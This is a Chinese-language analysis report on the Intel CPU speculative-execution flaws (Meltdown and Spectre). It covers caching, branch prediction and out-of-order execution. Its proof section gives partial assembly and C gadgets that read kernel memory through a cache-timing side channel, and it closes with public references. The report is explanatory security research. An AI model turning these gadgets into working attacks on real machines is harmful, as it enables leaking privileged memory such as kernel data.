Intel CPU 漏洞分析
Intel CPU漏洞分析報告
預備知識
存儲分級
由於計算機存儲分級的特性(第一級:寄存器,第二級:高速緩存,第三級:內存,第四級:磁盤),每一級之間的訪問速度差距高達數量級。所以處理器會將用到的數據和指令加載進高速緩存(現代CPU分指令高速緩存與數據高速緩存),以提高計算機的執行速度。其加載數據或指令進高速緩存的原則是(空間局部性、時間局部性):
1. 時間局部性:如果一個數據被訪問,那麽在近期它很可能還會被再次訪問。
2. 空間局部性: 與當前訪問的數據緊挨著的數據,近期將會被訪問
分支預測
分支預測分為動態分支預測與靜態分支預測。其效果就是預測跳轉地址,讓CPU去執行該地址的指令,不用讓CPU等待判斷結果,進而提高程序速度。若預測錯誤,CPU也會保證預測執行不會造成影響.
靜態分支預測:每次假設都跳轉或都不跳轉
動態分支預測:會根據以往的跳轉結果來判斷本次是否跳轉
亂序執行
是指CPU不會嚴格按照指令的排列順序執行(無依賴性),但是會保證其執行結果與按照順序執行的結果一樣。如
mov eax,1
mov ebx,1
其之間沒有依賴關系,采用亂序執行可以提高執行速度。
漏洞證明
漏洞利用方法:首先我們創建一個數組(我創建的數組一項大小是一個頁面,一共256項),然後清空該數組的緩存,通過利用不應該執行成功的指令(或永遠不會執行的指令),獲得對應地址的值,利用該值來訪問我們數組中的某一項,將該項加入進緩存。然後通過測試我們創建的數組中每一項的訪問時間,且由於被加載進緩存的訪問速度最小,則我們可以獲得該項的下標。然後得出對應地址的值。
可以看出漏洞利用的關鍵就是:如何讓 “不應該執行成功的指令” 或 “永遠不會執行的指令” 執行
“不應該執行成功的指令” 執行 -- 利用亂序執行
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
add rax,0x100
mov al,byte [kernelAddress]
shl rax,0xc
mov rbx,dword [target_arr + rax]
以上就是實現漏洞利用的最基本代碼。1.獲取內核數據,2.利用該值將用戶空間創建的數組對應項加載進高速緩存,進而獲得內核空間的數據。在我們分析看來,2步驟根本就不會執行,因為在第一步,用戶進程試圖訪問內核空間,造成程序異常,從而退出程序。但是由於亂序執行的特性且為了高效性,權限檢查會放在指令執行的最後,其會將我們的數組項加載進緩存,進而獲得內核數據.
“永遠不會執行的指令” 執行 -- 利用分支預測
void exposeValue(void *addr){
int len = (unsigned long)addr;
int idx = 0;
int value = 0;
clflushMyArr();
if( likely( len< pMyArr->len) ){ //永遠為假
//never arrive
idx = *((char*)addr);
value = target_buf[idx*PAGE_SIZE];
}
}
首先我們將pMyArr->len從緩存中清空,則在判斷結果的時候需要一定的時間,這時分支預測判斷為真,就會將我們的數組對應項加載進高速緩存。
這段代碼只考慮的靜態分支預測,沒有考慮動態分支預測,所以在實際中我們為了讓預測結果為真需要對CPU進行訓練。
兩種方法的比較
由於利用分支預測,需要對CPU進行訓練,所以其運行速度相比利用亂序執行慢。
但是亂序執行中需要對非法內存訪問進行特殊處理,實現相對利用分支預測麻煩。
安全建議
及時更新系統與瀏覽器,安裝防護軟件
參考質料
- https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/
- https://googleprojectzero.blogspot.com.es/2018/01/reading-privileged-memory-with-side.html
- http://0xffffff.org/2015/12/06/37-How-to-benchmark-code-execution-times/
- https://weibo.com/ttarticle/p/show?id=2309404192549521743410
- https://weibo.com/ttarticle/p/show?id=2309404192925885035405
- https://software.intel.com/en-us/articles/branch-and-loop-reorganization-to-prevent-mispredicts
- 《計算機組成:結構化方法》(塔嫩鮑姆 (Andrew S. Tanenbaum) )
Intel CPU 漏洞分析